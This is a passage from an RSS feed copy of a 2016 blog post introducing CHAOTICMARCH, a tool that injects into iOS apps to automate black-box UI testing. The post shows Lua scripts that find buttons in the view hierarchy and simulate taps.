   |    |    | &amp;lt;UITableViewWrapperView: 0x145638c30; frame = (0 0; 320 568); gestureRecognizers = &amp;lt;NSArray: 0x1702418c0&amp;gt;; layer = &amp;lt;CALayer: 0x17003fbe0&amp;gt;; contentOffset: {0, 0}; contentSize: {320, 568}&amp;gt;
   |    |    |    | &amp;lt;UITableViewCell: 0x145634f00; frame = (0 553.5; 320 44); text = 'Transport Layer Security'; autoresize = W; layer = &amp;lt;CALayer: 0x17003d6c0&amp;gt;&amp;gt;
   |    |    |    |    | &amp;lt;UITableViewCellContentView: 0x145635250; frame = (0 0; 286 44); opaque = NO; gestureRecognizers = &amp;lt;NSArray: 0x174249e10&amp;gt;; layer = &amp;lt;CALayer: 0x17003d660&amp;gt;&amp;gt;
   |    |    |    |    |    | &amp;lt;UITableViewLabel: 0x145635370; frame = (16 0; 269 44); text = 'Transport Layer Security'; clipsToBounds = YES; opaque = NO; layer = &amp;lt;_UILabelLayer: 0x170099e60&amp;gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course, the tree above is cut off - but you get the idea. This example comes from the DamnVulnerableApp UI. The full tree goes on for several pages and has a similar repeating pattern. At this point I would like to thank Objective-C for providing us with so much metadata in the binary. We will be using this to develop our automation mechanisms.&lt;/p&gt;

&lt;h2 id=&quot;scripting-a-click-around&quot;&gt;Scripting a click around&lt;/h2&gt;
&lt;p&gt;Without going into too many details, we want to click on buttons, fill in forms and swipe scrollable things. However, this means that we need to be able to accurately detect buttons, forms and swipable areas. Swiping is harder but buttons and forms are actually relatively easy. We simply have to choose components that qualify as such items. For example, buttons are selected as follows:&lt;/p&gt;

&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- Basically anything we might consider clickable&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buttons&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findOfTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;UIButton&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;UINavigationItemButtonView&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
    &lt;span class=&quot;s2&quot;&gt;&quot;UINavigationItemView&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;_UIAlertControllerActionView&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
    &lt;span class=&quot;s2&quot;&gt;&quot;UISegmentLabel&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;UILabel&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This code is found as part of the &lt;code class=&quot;highlighter-rouge&quot;&gt;getButton&lt;/code&gt; function in &lt;code class=&quot;highlighter-rouge&quot;&gt;post_all-common.lua&lt;/code&gt;. Please read the repository README for details about how the LUA scripts are structured and loaded. This code is loaded for all apps as a library that you could use. The function will return a LUA map of a button description. A button map looks like this:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;s2&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;coordinate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;left&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;corner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
	&lt;span class=&quot;s2&quot;&gt;&quot;y&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;coordinate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
	&lt;span class=&quot;s2&quot;&gt;&quot;width&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
	&lt;span class=&quot;s2&quot;&gt;&quot;height&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
	&lt;span class=&quot;s2&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;best&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;guess&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;findOfTypes&lt;/code&gt; function returns a LUA array i.e. number keyed map, of the button description maps. The &lt;code class=&quot;highlighter-rouge&quot;&gt;getButton&lt;/code&gt; function will look for the button that hasn’t been clicked yet. This click state is passed to the &lt;code class=&quot;highlighter-rouge&quot;&gt;getButton&lt;/code&gt; function. The state is a map that should be maintained by the user. Once a button has been clicked, the user should enter a key of the button text into the state map.&lt;/p&gt;

&lt;p&gt;We use this while loop in &lt;code class=&quot;highlighter-rouge&quot;&gt;post_all-click_around.lua&lt;/code&gt; script to exercise the various buttons on the screen. The process is really quite simple. Here’s a reduced size code that accomplishes just what we want.&lt;/p&gt;

&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attempts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;button&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getButton&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clickedButtons&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;button&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;click_button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;clickedButtons&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;-- check to make sure we are not in alert&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;check_alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;waitTime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
			&lt;span class=&quot;c1&quot;&gt;-- do a reset and maybe try again&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
			&lt;span class=&quot;c1&quot;&gt;-- wait less&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;waitTime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;waitTime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On the high level, it iterates across various clickable things and enters them into the state to prevent repetition. After a button is clicked, the loop will wait some time to let the App react. Then it will look for another button. The process is very predictable and reproducible. With this mechanism it would be possible to build more complex logic, although at the moment we don’t have a way of reading the meaning of an image button.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;click_button&lt;/code&gt; function is actually built on top of &lt;code class=&quot;highlighter-rouge&quot;&gt;touchDown&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;touchUp&lt;/code&gt; mechanisms. The touch functions use the &lt;a href=&quot;https://github.com/iolate/SimulateTouch&quot;&gt;SimulateTouch&lt;/a&gt; library to generate touch events which in tern simulates button click events. The function will also draw a circle on the screen to indicate where CHAOTICMARCH has clicked. This is just a convenience measure to show where the script has clicked.&lt;/p&gt;

&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;click_button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;math.floor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;width&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;y&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;math.floor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;height&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;showCircle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;touchDown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;usleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;touchUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;hideCircle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, because we are polling the screen for buttons every iteration we might end up in a situation where there are no buttons. However, it may be because the user is seeing an alert box. Such boxes are still within the App UI tree but do not really contain buttons. So, the &lt;code class=&quot;highlighter-rouge&quot;&gt;check_alert&lt;/code&gt; function will look for labels that match expected text such as “Ok”. It will click that text in the hopes of getting rid of the alert box. This doesn’t always work and can definitely be made more accurate. However, it covers many use cases.&lt;/p&gt;

&lt;p&gt;Once there are no buttons left, we wait for a minute or so. This is done using the &lt;code class=&quot;highlighter-rouge&quot;&gt;waitTime&lt;/code&gt; variable in the main loop. It is a count down variable, which along with the sleep at every loop iteration creates a wait interval. This is where the researcher gets a chance to assist the engine and go somewhere new or for the App to react and change it’s interface.&lt;/p&gt;

&lt;h2 id=&quot;demonstration&quot;&gt;Demonstration&lt;/h2&gt;
&lt;p&gt;What’s a tool without a video demo? So, let’s have a look at how it performs with a simple application. This particular App is mostly just a wrapper around a webview. The webview will perform most of the heavy lifting, but there are still some UI components for us to interact with.&lt;/p&gt;

&lt;center&gt;
&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Gtd9wOpFK8M&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;

&lt;p&gt;A demo speaks a thousand words. The culmination of everything we’ve talked about above is shown in this video. We take an App by &lt;a href=&quot;https://itunes.apple.com/us/app/hd-supply-facilities-maintenance/id585691352&quot;&gt;HD Supplies&lt;/a&gt; and let CHAOTICMARCH have its way with the App. As you can see it detects many buttons and enters the text into the search box. Also, in this demo, I show the capability of replaying preprogrammed touch events. These events can be recorded using something like &lt;a href=&quot;https://autotouch.net&quot;&gt;AutoTouch&lt;/a&gt;. If you use this tool to record touch events, then the output script will be directly compatible with CHAOTICMARCH.&lt;/p&gt;

&lt;p&gt;Of course, it would be nice if the scripts are smarter in recognizing the semantics of the clickable and text field components. This is something we are still working on. Using LUA for this purpose makes things much simpler as we can focus on the logic rather than the mechanics.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;We have introduced CHAOTICMARCH, a tool for automating blackbox testing of iOS Apps. The tool injects into a running application to query the UI and trigger events. The logic is driven by an automatically loaded LUA script. Once the UI is queried, the LUA script will decide which buttons to click and forms to fill in.&lt;/p&gt;

&lt;p&gt;Using CHAOTICMATCH frees the researchers from having to manually explore the application. Also, it lets us, as a community, to build up a knowledge base of scripts to handle edge cases and come up with innovative algorithms to perform testing. In combination with other tools such as &lt;a href=&quot;https://mitmproxy.org/&quot;&gt;MITM Proxy&lt;/a&gt; and &lt;a href=&quot;https://github.com/nologic/objc_trace&quot;&gt;Objc_trace&lt;/a&gt; we can develop a decent coverage map of the App’s activity.&lt;/p&gt;

</description>
        <pubDate>Sat, 26 Mar 2016 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2016/03/26/automating-ui-testing/</link>
        <guid isPermaLink="true">http://debugtrap.com/2016/03/26/automating-ui-testing/</guid>
      </item>
     
    
  </channel>
</rss>
